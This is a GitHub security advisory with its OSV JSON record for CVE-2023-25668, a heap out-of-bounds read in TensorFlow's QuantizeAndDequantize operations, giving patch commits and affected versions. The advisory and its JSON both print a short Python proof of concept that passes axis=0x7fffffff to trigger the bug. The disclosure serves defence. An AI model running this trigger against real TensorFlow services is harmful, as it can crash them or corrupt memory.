GHSA-GW97-FF7C-9V96

Vulnerability from github – Published: 2023-03-24 21:57 – Updated: 2023-03-27 22:03
VLAI?
Summary
TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation
Details

Impact

Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE. When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound. Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.

import tensorflow as tf
@tf.function
def test():
    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
                                       input_min=[1.0],
                                       input_max=[10.0],
                                       signed_input=True,
                                       num_bits=1,
                                       range_given=True,
                                       round_mode='HALF_TO_EVEN',
                                       narrow_range=True,
                                       axis=0x7fffffff)
test()

Patches

We have patched the issue in GitHub commit 7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-cpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "tensorflow-gpu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-25668"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122",
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-24T21:57:01Z",
    "nvd_published_at": "2023-03-25T00:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nAttackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE.\nWhen axis is larger than the dim of input, c-\u003eDim(input,axis) goes out of bound.\nSame problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.\n```python\nimport tensorflow as tf\n@tf.function\ndef test():\n    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],\n    \t\t\t\t\t\t\t\t   input_min=[1.0],\n    \t\t\t\t\t\t\t\t   input_max=[10.0],\n    \t\t\t\t\t\t\t\t   signed_input=True,\n    \t\t\t\t\t\t\t\t   num_bits=1,\n    \t\t\t\t\t\t\t\t   range_given=True,\n    \t\t\t\t\t\t\t\t   round_mode=\u0027HALF_TO_EVEN\u0027,\n    \t\t\t\t\t\t\t\t   narrow_range=True,\n    \t\t\t\t\t\t\t\t   axis=0x7fffffff)\ntest()\n```\n\n\n\n### Patches\nWe have patched the issue in GitHub commit [7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb](https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n",
  "id": "GHSA-gw97-ff7c-9v96",
  "modified": "2023-03-27T22:03:05Z",
  "published": "2023-03-24T21:57:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gw97-ff7c-9v96"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25668"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tensorflow/tensorflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation"
}


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